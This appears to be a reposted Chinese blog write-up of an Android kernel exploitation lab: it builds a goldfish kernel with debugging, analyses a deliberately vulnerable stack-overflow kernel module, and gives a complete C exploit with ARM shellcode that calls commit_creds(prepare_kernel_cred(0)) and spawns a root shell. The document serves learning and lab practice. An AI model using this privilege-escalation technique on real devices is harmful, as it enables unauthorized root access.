本文共 10881 字,大约阅读时间需要 36 分钟。
以前写的帖子,自己好能折腾哈哈哈哈本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介 1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译 2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接 3.分析漏洞成因 4.利用漏洞编写exp实现root 二、实现详情 2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译 我们查看一下模拟器内核版本cat /proc/cpuinfo可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。
git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git $ cd goldfish/ # 查看可以下载的Linux内核源码的版本
$ git branch -a
$ git checkout remotes/origin/android-goldfish-3.4
$ git clone
创建文件 run_make_config.sh如下: export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi- export ARCH=arm export SUBARCH=armmake goldfish_armv7_defconfig
赋予权限 $ chmod +x run_make_config.sh $ source run_make_config.sh 上述操作均在goldfish目录,否则报错 修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。打开Android内核编译的配置文件
设置模拟器的运行内存-可选参数
真机设备调试需要设置这一项,模拟器不需要
$ android list targets
$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA
Android API 19的Android模拟器 Debug_Kernel 创建成功以后, 使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。$ emulator -list-avds
$ emulator -avd Debug_Kernel -gpu mesa
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图: 配置交叉编译环境变量$ sudo gedit /etc/profile
export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7
export PATH= P A T H : PATH: PATH:{ANDROID_TOOLCHAIN}/bin/$ source /etc/profile
$ arm-eabi-gdb
OK,arm-eabi-gdb 工具的问题解决了,
下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:$ arm-eabi-gdb vmlinux
$ target remote :1234
$ list
$ n $ arm-eabi-gdb --help2.3.分析漏洞成因
首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c: 代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。#include#include #include #include #include #include #define MAX_LENGTH 64MODULE_LICENSE("GPL");MODULE_AUTHOR("Ryan Welton");MODULE_DESCRIPTION("Stack Buffer Overflow Example");static struct proc_dir_entry *stack_buffer_proc_entry;int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data){ char buf[MAX_LENGTH]; if (copy_from_user(&buf, ubuf, count)) { printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n"); return -EFAULT; } return count;}static int __init stack_buffer_proc_init(void){ stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL); stack_buffer_proc_entry->write_proc = proc_entry_write; printk(KERN_INFO "created /proc/stack_buffer_overflow\n"); return 0;}static void __exit stack_buffer_proc_exit(void){ if (stack_buffer_proc_entry) { remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry); } printk(KERN_INFO "vuln_stack_proc_entry removed\n");}module_init(stack_buffer_proc_init);module_exit(stack_buffer_proc_exit);
首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用 echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /proc/stack_buffer_overflow当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。
root@generic:/ # cat /proc/kallsyms | grep commit_creds
00000000 T commit_creds 在本文中,把它禁用掉,不管他。root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/kptr_restrict root@generic:/ # cat /proc/kallsyms | grep commit_creds c0039834 T commit_credsroot@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred
c0039d34 T prepare_kernel_cred c003a85c T prepare_kernel_cred //myaddress 禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root 所以现在的利用思路是: 1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限 为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。 2.调用 mov r3, #0x40000010; MSR CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式 3.然后执行 execl("/system/bin/sh", “sh”, NULL); 起一个 root 权限的 shell最后的 exp :
#include#include #include #include #include #define MAX 64int open_file(void){ int fd = open("/proc/stack_buffer_overflow", O_RDWR); if (fd == -1) err(1, "open"); return fd;}void payload(void){ printf("[+] enjoy the shell\n"); execl("/system/bin/sh", "sh", NULL);}extern uint32_t shellCode[];asm(" .text\n"" .align 2\n"" .code 32\n"" .globl shellCode\n\t""shellCode:\n\t"// commit_creds(prepare_kernel_cred(0));// -> get root"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr"MOV R0, #0\n\t""BLX R3\n\t""LDR R3, =0xc0039834\n\t" //commit_creds addr"BLX R3\n\t""mov r3, #0x40000010\n\t""MSR CPSR_c,R3\n\t""LDR R3, =0x879c\n\t" // payload function addr"BLX R3\n\t");void trigger_vuln(int fd){ #define MAX_PAYLOAD (MAX + 2 * sizeof(void*) ) char buf[MAX_PAYLOAD]; memset(buf, 'A', sizeof(buf)); void * pc = buf + MAX + 1 * sizeof(void*); printf("shellcdoe addr: %p\n", shellCode); printf("payload:%p\n", payload); *(void **)pc = (void *) shellCode; //ret addr /* Kaboom! */ write(fd, buf, sizeof(buf) );}int main(void){ int fd; fd = open_file(); trigger_vuln(fd); payload(); close(fd);}
简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。 arm-linux-androideabi-gcc exp.c -o exp 将编译好的文件放到模拟器任意目录执行即可对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename或者编写Android.mk文件,利用ndk-build.
LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_MODULE := client_android LOCAL_SRC_FILES := client.c LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth include $(BUILD_EXECUTABLE) #include $(BUILD_STATIC_LIBRARY) #include $(BUILD_SHARED_LIBRARY)其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量 LOCAL_MODULE 是编译后生成的文件名 LOCAL_SRC_FILES 是编译的源文件 LOCAL_CFLAGS 是设置编译时的头文件搜索路径 LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径 include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。如果出现
Unable to auto-config arch from toolchain 这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpuoldfeel@oldfeel:~/android-ndk$ ls toolchains/aarch64-linux-android-4.9 mipsel-linux-android-4.8aarch64-linux-android-clang3.4 mipsel-linux-android-4.9aarch64-linux-android-clang3.5 mipsel-linux-android-clang3.4arm-linux-androideabi-4.6 mipsel-linux-android-clang3.5arm-linux-androideabi-4.8 renderscriptarm-linux-androideabi-4.9 x86-4.6arm-linux-androideabi-clang3.4 x86-4.8arm-linux-androideabi-clang3.5 x86-4.9llvm-3.4 x86_64-4.9llvm-3.5 x86_64-clang3.4mips64el-linux-android-4.9 x86_64-clang3.5mips64el-linux-android-clang3.4 x86-clang3.4mips64el-linux-android-clang3.5 x86-clang3.5mipsel-linux-android-4.6
编辑 ,找到并修改 TOOLCHAIN_NAME= 为
vim build/tools/make-standalone-toolchain.sh
三、总结 我这里adb shell进入android默认就是root权限 $id uid(0)root pid(0)root 这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。参考:
感谢网友帮助
备注: 降权root@generic:/ # iduid=0(root) gid=0(root) context=u:r:shell:s0root@generic:/ # su 2000root@generic:/ $ iduid=2000(shell) gid=2000(shell) context=u:r:su:s0
转载地址:http://cvjvb.baihongyu.com/